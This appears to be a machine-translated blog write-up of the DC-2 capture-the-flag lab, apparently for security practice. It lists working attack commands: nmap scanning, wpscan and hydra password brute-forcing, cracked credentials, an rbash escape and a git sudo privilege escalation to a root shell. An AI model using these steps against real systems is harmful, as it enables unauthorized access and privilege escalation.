当前位置:网站首页>Dc-2-range practice
Dc-2-range practice
2022-07-25 02:57:00 【Headwind/】
Target address :http://www.five86.com/downloads/DC-2.zip
Network mode :NAT
Catalog
The host found
nmap 192.168.194.1/24 -sS
nmap 192.168.194.159 -A -p 1-65535

Open the http and ssh service , visit 80 port
Domain name resolution
Domain name resolution error , stay /etc/hosts Add , Use the following data ip visit
192.168.194.159 dc-2


Found to be wordpress Website and flag1

cewl
cewl :Linux Dictionary generation tool cewl
cewl http://dc-2 -w passwd.txt
Use dirb obtain

wpscan Blasting users
Three user names :admin,tom,jerry
wpscan --ignore-main-redirect --url http://192.168.194.159 --enumerate u --force

Use wpscan Blast ,
wpscan --ignore-main-redirect --url http://dc-2/ -U user1.txt -P passwd.txt -t 30
Username: jerry, Password: adipiscing
| Username: tom, Password: parturient

Log in to tom and jerry Background view of , Find out jerry There are flag2

Use the user name and password dictionary above , adopt hydra Blast ssh The login password ,-s Is the port
hydra -L user1.txt -P passwd.txt ssh://192.168.194.159 -s 7744 -t 40

Connect
ssh [email protected] -p 7744

rbash Bypass , obtain flag3
BASH_CMDS[a]=/bin/sh;a notes : hold /bin/bash to a Variable `
export PATH=$PATH:/bin/ notes : take /bin As PATH Environment variable export
export PATH=$PATH:/usr/bin notes : take /usr/bin As PATH Environment variable export

Use what you got before jerry Try the password , feasible , obtain flag4

Use git Raise the right
sudo git -p --help
!/bin/bash

summary
- Domain name restrictions
- cewl :Linux Dictionary generation tool cewl
- wpscan Blasting users
- Bypass rbash
- git Raise the right
边栏推荐
- Technical experts from large factories: Thoughts on cloud nativity and software supply chain security
- Use pytest + allure to show the chart results (3)
- Physical experiment simulation
- JS written test question -- deep copy of object
- JS interview question - what is the difference between Es5 and ES6?
- How to use blender to make 360 degree panorama and panoramic video?
- Daily three questions 7.16
- Learning Record V
- Strategy mode, just read one article
- Ctfshow misc introduction
猜你喜欢

Learning record Xi

Arduino IDE for raspberry PI Pico development firmware localization installation tutorial

Learning record XIII

6. Object storage

Visualization of correlation coefficient matrix

JS foundation -- task queue and event loop

Preliminary foundation JVM

Decoding webp static pictures using libwebp

Nuscenes data set summary

Beginners must see the markdown User Guide
随机推荐
DOM node type
[jailhouse article] scheduling policies and system software architectures for mixed criticality
6.0 cancellation of member registration verification code
Daily three questions 7.15
Classic network learning RESNET code implementation
After working for two months in the summer vacation, I understood three routing schemes of keepalived high availability
Pagoda workman WSS reverse proxy socket legal domain name applet chat remove port
Preliminary foundation JVM
Solve the error: could not find 'xxxtest‘
Pypi counts the number of Downloads
Class notes (4) (2) -- 572. Compete
Request and response
[stm32f103rct6] can communication
String class
Arduino IDE for raspberry PI Pico development firmware localization installation tutorial
Generator set work arrangement problem code
Do you know about real-time 3D rendering? Real time rendering software and application scenarios are coming
Physical experiment simulation
Learning record XIII
Daily three questions 7.16